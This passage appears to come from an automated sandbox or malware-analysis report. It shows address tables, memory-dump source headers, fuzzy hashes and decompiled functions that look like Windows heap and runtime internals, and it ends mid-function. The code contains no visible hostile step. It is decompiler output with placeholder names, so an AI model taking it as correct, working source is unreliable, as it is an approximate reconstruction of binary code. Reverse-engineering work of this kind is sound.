0x00000000
0x046961e6
0x046961e8
0x046961ee
0x046961ee
0x046961f9
0x046d762f
0x046d7632
0x046d7635
0x046d7639
0x046d7640
0x046d766e
0x046d7675
0x00000000
0x00000000
0x046d7681
0x046d7689
0x046d768d
0x046d7691
0x046d7695
0x046d7699
0x046d76af
0x046d76b5
0x046d76b7
0x046d76b7
0x046d76d7
0x046d76dc
0x00000000
0x046d76dc
0x046d76a2
0x046d76a9
0x046d7651
0x046d7653
0x046d7653
0x046d7656
0x046d7656
0x00000000
0x046d7656
0x046d7644
0x046d7646
0x046d7648
0x046d7648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44789b260bcfb61e34658fc09019ed1e3be50128830d2a2f1f073e3bff31b35e
Instruction ID: 12d1edf5003045db31fe8e64d708693e992895363f9950c72eec8e3845348025
Opcode Fuzzy Hash: 44789b260bcfb61e34658fc09019ed1e3be50128830d2a2f1f073e3bff31b35e
Instruction Fuzzy Hash: FC3169B1A093418FD720DF19C800B2AB7E8FB98B00F05496DE9999B351F7B0E804CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0466AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0466AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x475d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x4757b9c; // 0x0
					_t53 = L04684620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E046AB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E046AF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L04676C59(_t53, _t51, _t58) != 0) {
							_t28 = E04695E50(0x464c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E0469B230(_v32, _v28, 0x464c2d8, 1,  &_v24);
								_t28 = E0466F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x0466aa25
0x0466aa29
0x0466aa2d
0x0466aa30
0x0466aa37
0x0466aa3c
0x046c4458
0x046c4458
0x046c4472
0x046c4474
0x046c4476
0x0466aa64
0x0466aa74
0x046c447c
0x046c4483
0x046c4492
0x0466aa52
0x0466aa54
0x0466aa5e
0x046c44a8
0x046c44ad
0x046c44af
0x046c44b6
0x046c44b6
0x046c44b9
0x046c44bc
0x046c44cd
0x046c44d3
0x046c44d6
0x046c44e1
0x046c44e1
0x046c44e6
0x046c44e8
0x046c44fb
0x046c44fb
0x046c44e8
0x00000000
0x0466aa5e
0x046c4476
0x0466aa42
0x0466aa46
0x0466aa48
0x0466aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc67a769248dc6951e4163b82f9d7058d8aa3ae6a95f630d7f7dcd641be3f9b0
Instruction ID: ed3ab5fff8c7ae11fdf582245f1d8512be2a0dc9fcc6fc7790d8b2b24fe2e6d0
Opcode Fuzzy Hash: dc67a769248dc6951e4163b82f9d7058d8aa3ae6a95f630d7f7dcd641be3f9b0
Instruction Fuzzy Hash: 9831B171A00219ABDF15DFA4CD41A7EB7B8EF04704B11406EF801E6240FB74BD51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 046A8EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E046A8EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x475d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E04694E70(0x47586e4, 0x46a9490, 0, 0);
					if( *0x47553e8 > 5 && E046A8F33(0x47553e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x47553e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x47553e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x464bc46;
						_t48 = E046E7B9C(0x47553e8, 0x464bc46, _t67, 0x47553e8, _t70,  &_v140);
					}
				}
				return E046AB640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x046a8ec7
0x046a8ed9
0x046a8edc
0x046a8ee6
0x046a8ee9
0x046a8eee
0x046a8efc
0x046a8f08
0x046e1349
0x046e1353
0x046e135d
0x046e1366
0x046e136f
0x046e1375
0x046e137c
0x046e1385
0x046e1390
0x046e1391
0x046e139c
0x046e139d
0x046e13a6
0x046e13ac
0x046e13b2
0x046e13b5
0x046e13bc
0x046e13bf
0x046e13c2
0x046e13c5
0x046e13c8
0x046e13cb
0x046e13ce
0x046e13d1
0x046e13d4
0x046e13d7
0x046e13da
0x046e13dd
0x046e13e0
0x046e13e3
0x046e13e6
0x046e13e9
0x046e13f6
0x046e1400
0x046e1400
0x046a8f08
0x046a8f32

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24586ddb50bfe86324fcea59ea31ded3341ef0b6762ecce7b6cea680ee84dc0e
Instruction ID: 62e602cced90a78c18283bfe8df0bc0395127c8c90214c27ec1a8c2d586367d0
Opcode Fuzzy Hash: 24586ddb50bfe86324fcea59ea31ded3341ef0b6762ecce7b6cea680ee84dc0e
Instruction Fuzzy Hash: DC41A3B1D007189FDB20DFAAD980AADFBF4FB48714F5041AEE519A7200E7746A44CF50

Uniqueness

Uniqueness Score: -1.00%

Function 046A4A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E046A4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x475d360 ^ _t62;
				_v8 =  *0x475d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E04682280(_t26, 0x4758608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E0467FFB0(_t41, _t51, 0x4758608);
						L2:
						 *0x475b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E046AB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E04682280(_t28, 0x4758608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E0467FFB0(_t42, _t53, 0x4758608);
							if(_t53 != 0) {
								L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E0467FFB0(_t41, _t51, 0x4758608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x046a4a2c
0x046a4a34
0x046a4a3c
0x046a4a3e
0x046a4a48
0x046a4a4b
0x046a4a4d
0x046a4a51
0x046a4a9c
0x00000000
0x00000000
0x046a4aa3
0x046a4aa8
0x046a4aad
0x046a4ab1
0x046a4ade
0x046a4ae3
0x046a4a5a
0x046a4a62
0x046a4a6a
0x046a4a6e
0x046df203
0x046a4a84
0x046a4a88
0x046a4a89
0x046a4a8a
0x046a4a95
0x046a4a95
0x046a4a79
0x046a4a80
0x046a4af2
0x046a4af4
0x046a4af9
0x046a4aff
0x046a4b01
0x046a4b03
0x046a4b08
0x046df20a
0x046df212
0x046df216
0x046df216
0x046a4b08
0x046a4b13
0x046a4b1a
0x046df229
0x046df229
0x046a4b1a
0x046a4a82
0x00000000
0x046a4a82
0x046a4ab7
0x046a4acd
0x046a4acd
0x046a4ad5
0x046a4ada
0x00000000
0x046a4ada
0x046a4ac2
0x046a4acb
0x00000000
0x00000000
0x00000000
0x046a4acb
0x046a4a53
0x046a4a53
0x046a4a58
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 302651e4ef2624c2f7c53b6f940e719cb16c48c7ff4d1e63c606d109792878b5
Instruction ID: 6586a3059bfdaf78497ddf4d5cbc1d91cf50e4c85796f1d325c54988f4c453da
Opcode Fuzzy Hash: 302651e4ef2624c2f7c53b6f940e719cb16c48c7ff4d1e63c606d109792878b5
Instruction Fuzzy Hash: 7831E132601A50DBD721AE64CD41B2AB7A4FB80B14F01491DE9560B355EBF0FC20CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0469E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0469E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E046A9670() < 0) {
					L046BDF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x4757b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L04684620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M0469E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x0469e730
0x0469e736
0x0469e738
0x0469e73d
0x0469e73e
0x0469e740
0x0469e749
0x0469e765
0x0469e76a
0x0469e76b
0x0469e76c
0x0469e76d
0x0469e76e
0x0469e76f
0x0469e775
0x0469e777
0x0469e77e
0x046db675
0x0469e784
0x0469e784
0x0469e789
0x0469e7a8
0x0469e7ac
0x0469e807
0x0469e7ae
0x0469e7ae
0x0469e7b1
0x0469e7b4
0x0469e7b9
0x0469e7c0
0x0469e7c4
0x0469e7ca
0x0469e7cc
0x00000000
0x0469e7d3
0x0469e7d6
0x00000000
0x00000000
0x0469e7ff
0x0469e802
0x00000000
0x00000000
0x0469e7f9
0x0469e7fc
0x00000000
0x00000000
0x0469e7f3
0x0469e7f6
0x00000000
0x00000000
0x0469e7ed
0x0469e7f0
0x00000000
0x00000000
0x0469e7e7
0x0469e7ea
0x00000000
0x00000000
0x046db685
0x046db688
0x00000000
0x00000000
0x046db682
0x00000000
0x00000000
0x0469e7cc
0x0469e7d9
0x0469e7dc
0x0469e7de
0x0469e7de
0x0469e7ac
0x0469e7e4
0x0469e74b
0x0469e751
0x0469e759
0x0469e761
0x0469e761

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eff73d2b9679b5ec55d58cfd17d1ad74916f13896d3a27f4bf9b070636b28b11
Instruction ID: 2d3056031ffc707f183b6abc0b36c002a9833263f740db3dd50ca925a9c54f31
Opcode Fuzzy Hash: eff73d2b9679b5ec55d58cfd17d1ad74916f13896d3a27f4bf9b070636b28b11
Instruction Fuzzy Hash: 70316F75A14249EFDB44CF58D841B96B7E8FB19314F14826AF904CB381E671ED90CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0469BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0469BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x4756100; // 0x16
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E04682280(0xd, 0x164af1a0);
				_t41 =  *0x47560f8; // 0x0
				if(_t41 != 0) {
					 *0x47560f8 =  *_t41;
					 *0x47560fc =  *0x47560fc + 0xffff;
				}
				E0467FFB0(_t41, 0x800, 0x164af1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x47560f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L04684620(0x4756100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x4756100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x0469bc36
0x0469bc42
0x0469bc45
0x0469bc4a
0x0469bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x0469bc50
0x0469bc50
0x0469bc58
0x0469bc5a
0x0469bc60
0x00000000
0x00000000
0x046da4f2
0x046da4f6
0x00000000
0x00000000
0x00000000
0x046da4fc
0x0469bc79
0x0469bc7e
0x0469bc86
0x0469bd16
0x0469bd20
0x0469bd20
0x0469bc8d
0x0469bc94
0x0469bcbd
0x0469bcca
0x0469bccb
0x0469bccc
0x0469bccd
0x0469bcce
0x0469bcd4
0x0469bcea
0x0469bcee
0x0469bcf2
0x0469bd00
0x0469bd04
0x00000000
0x0469bc96
0x0469bcab
0x0469bcaf
0x0469bd2c
0x0469bd2c
0x0469bd09
0x00000000
0x0469bd09
0x0469bcb1
0x0469bcb5
0x0469bcbb
0x00000000
0x00000000
0x00000000
0x0469bcbb

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d74c83ed0aaaa0a2a0bec0a8fa96f9c64e67284b1f702279fcf13a0b1d1d35f9
Instruction ID: 3047928e1832bf6d735a73b7ef7bfcc4a2085d9a5016613b36755c8b599a90f8
Opcode Fuzzy Hash: d74c83ed0aaaa0a2a0bec0a8fa96f9c64e67284b1f702279fcf13a0b1d1d35f9
Instruction Fuzzy Hash: 1331CE72A006159BDB11EF58E4C0BA673A8FB18715F584479ED48DF301FAB8FD4A8B80

Uniqueness

Uniqueness Score: -1.00%

Function 04691DB5, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E04691DB5(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* _t22;
				char _t23;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t43;

				_v12 = __ecx;
				_t43 = 0;
				_v20 = __edx;
				_t42 =  *__edx;
				 *__edx = 0;
				_v16 = _t42;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(6);
				_push(0);
				_push(__ecx);
				_t36 = ((0 | __ecx !=  *((intOrPtr*)( *[fs:0x30] + 8))) - 0x00000001 & 0xc0000000) + 0x40000002;
				_push(_t36);
				_t22 = E0468F460();
				if(_t22 < 0) {
					if(_t22 == 0xc0000023) {
						goto L1;
					}
					L3:
					return _t43;
				}
				L1:
				_t23 = _v8;
				if(_t23 != 0) {
					_t38 = _a4;
					if(_t23 >  *_a4) {
						_t42 = L04684620(_t38,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t23);
						if(_t42 == 0) {
							goto L3;
						}
						_t23 = _v8;
					}
					_push( &_v8);
					_push(_t23);
					_push(_t42);
					_push(6);
					_push(_t43);
					_push(_v12);
					_push(_t36);
					if(E0468F460() < 0) {
						if(_t42 != 0 && _t42 != _v16) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t43, _t42);
						}
						goto L3;
					}
					 *_v20 = _t42;
					 *_a4 = _v8;
				}
				_t43 = 1;
				goto L3;
			}

0x04691dc2
0x04691dc5
0x04691dc7
0x04691dcc
0x04691dce
0x04691dd6
0x04691ddf
0x04691de0
0x04691de1
0x04691de5
0x04691de8
0x04691def
0x04691df0
0x04691df6
0x04691df7
0x04691dfe
0x04691e1a
0x00000000
0x00000000
0x04691e0b
0x04691e12
0x04691e12
0x04691e00
0x04691e00
0x04691e05
0x04691e1e
0x04691e23
0x046d570f
0x046d5713
0x00000000
0x00000000
0x046d5719
0x046d5719
0x04691e2c
0x04691e2d
0x04691e2e
0x04691e2f
0x04691e31
0x04691e32
0x04691e35
0x04691e3d
0x046d5723
0x046d573d
0x046d573d
0x00000000
0x046d5723
0x04691e49
0x04691e4e
0x04691e4e
0x04691e09
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction ID: 0c35faaf9156de2deb9be5846817cf3a9d337374d69a967a807e664992d82d03
Opcode Fuzzy Hash: 113d149f2ee32d0cf172cc5618c6b00e5ec00d0f660e83749918783638c296a2
Instruction Fuzzy Hash: 9D21717160011AFFEB21DF59CC80EAABBBDEF86744F214059E50597210EA74BD01D790

Uniqueness

Uniqueness Score: -1.00%

Function 04669100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04669100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x473f6e8);
				E046BD0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E047388F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E046BD130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x47586c0; // 0x26e07b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x47586b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E04682280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E047388F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E046AAFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x475b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x47584c0;
										if(_t69 >=  *0x47584c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E04739063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E0466922A(_t82);
							_t53 = E04687D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E04738B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x47586c0; // 0x26e07b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x47586b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x47586bc;
										_t72 = 0x47586b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
